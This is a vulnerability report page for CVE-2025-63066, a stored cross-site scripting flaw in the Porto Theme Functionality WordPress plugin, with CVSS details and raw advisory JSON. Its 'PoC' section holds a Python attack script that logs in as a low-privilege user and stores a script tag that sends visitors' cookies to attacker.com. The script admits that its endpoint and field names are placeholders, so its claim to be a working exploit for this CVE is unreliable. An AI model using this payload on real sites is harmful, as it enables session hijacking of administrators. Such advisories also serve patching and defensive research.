Security Vulnerability Report
中文
CVE-2025-63066 CVSS 6.5 MEDIUM

CVE-2025-63066

Published: 2025-12-09 16:18:12
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in p-themes Porto Theme - Functionality porto-functionality allows Stored XSS.This issue affects Porto Theme - Functionality: from n/a through < 3.7.3.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Porto Theme Functionality < 3.7.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63066 Stored XSS PoC # Target: WordPress site with Porto Theme Functionality plugin < 3.7.3 TARGET_URL = "http://target-site.com" # Replace with target URL USERNAME = "attacker" # Low-privilege user account PASSWORD = "password" XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' def exploit_stored_xss(): """Exploit the stored XSS vulnerability in Porto Theme Functionality plugin""" session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload through plugin functionality # Target the vulnerable endpoint in porto-functionality vulnerable_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Payload injection - adjust parameters based on actual vulnerable field exploit_data = { 'action': 'porto_functionality_save', # Example action name 'field_name': 'custom_field', # Vulnerable field 'field_value': XSS_PAYLOAD } response = session.post(vulnerable_endpoint, data=exploit_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload stored: {XSS_PAYLOAD}") print("[+] Payload will be triggered when admin visits the affected page") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63066", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:12.303", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in p-themes Porto Theme - Functionality porto-functionality allows Stored XSS.This issue affects Porto Theme - Functionality: from n/a through < 3.7.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/porto-functionality/vulnerability/wordpress-porto-theme-functionality-plugin-3-6-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}